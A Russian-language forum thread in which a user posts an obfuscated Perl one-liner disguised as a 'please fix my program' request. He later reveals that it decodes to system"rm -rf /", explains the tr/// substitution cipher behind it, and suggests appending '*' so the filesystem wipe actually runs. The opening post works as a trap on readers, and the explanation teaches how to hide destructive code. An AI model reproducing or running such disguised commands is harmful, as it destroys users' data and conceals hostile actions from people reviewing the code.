Страница 1 из 1

программа из одной строчки на Perl

Добавлено: 09 окт 2017, 18:11
SinglWolf
помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает
► Показать

Добавлено: 09 окт 2017, 18:19
rewuxiin
чур меня

Добавлено: 09 окт 2017, 19:08
kulia
SinglWolf писал(а):cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Не, ну Вы там на своем птичьем разговариваете, а мне вот даже интересно стало, что тут зашифровано.
Я в таких perl-ах не силен, понаписали тут крикозябликов, а что оно делать то должно??? Понятно что что-то вывести, но не понятно что *CRAZY* :-D

Добавлено: 09 окт 2017, 19:40
SinglWolf
Там "зашифровано"

Код: Выделить всё

rm -rf /*
Делайте выводы сами. Без комментариев.

Добавлено: 09 окт 2017, 19:51
kulia
Теперь понятно что он выводит... из строя :-D

Добавлено: 10 окт 2017, 11:29
SinglWolf
Кому интересно как работает!
обычная шифровка и немного знания, как работает оператор tr/// он же y///.
создаётся алгоритм шифрования типа ключ -> значение
(часто встречается в путаном коде)

Код: Выделить всё

#!/usr/bin/perl -w
use strict; 
##  Патч Бармина
my $str = "=]=>%-{<-|}<&|`{";
 
  my $a1='';
  $a1 =~ s:: !"#$%&'()*+,-./: ;
 print "a1=$a1\n";                         # -/
  my $a2='';
  $a2 =~ s//:;<=>?@/ ;
 print "a2=$a2\n";                         #:-@
  my $a3='';
  $a3 =~ s::[\]^_`: ;
 print "a3=$a3\n";                         #[-`
  my $a4='';
  $a4 =~ s::{|}: ;
 print "a4=$a4\n";                         #{-}
  my $a5='';
  $a5 =~ s::`abcdefghijklmnopqrstuvwxyz{: ;
 print "a5=$a5\n";                         #`-{
 
 $str =~ y# -/:-@[-`{-}#`-{/" -#  ;
 
### (ключ) !"#$%&'()*+,-./:;<=>?@[\]^_`{|}  ###
### (значение)`abcdefghijklmnopqrstuvwxyz{/" -###
# сверху ключ,под ним снизу его значение.
# и посимвольно '=' => 's', ']' => 'y', ....и т.д.
# (шифр) =]=>%-{<-|}<&|`{  ==>  (расшифровка) system"rm -rf /"
 
print "str = $str\n";
используя этот метод можно сделать не явным если не всё,то почти всё в коде.
также решить первоначальный вопрос - почему не работает?
если не Windows, то, например, добавить в конец команды '*', или что-то ещё.
P.S. так что никаких угадываний - чистая математика.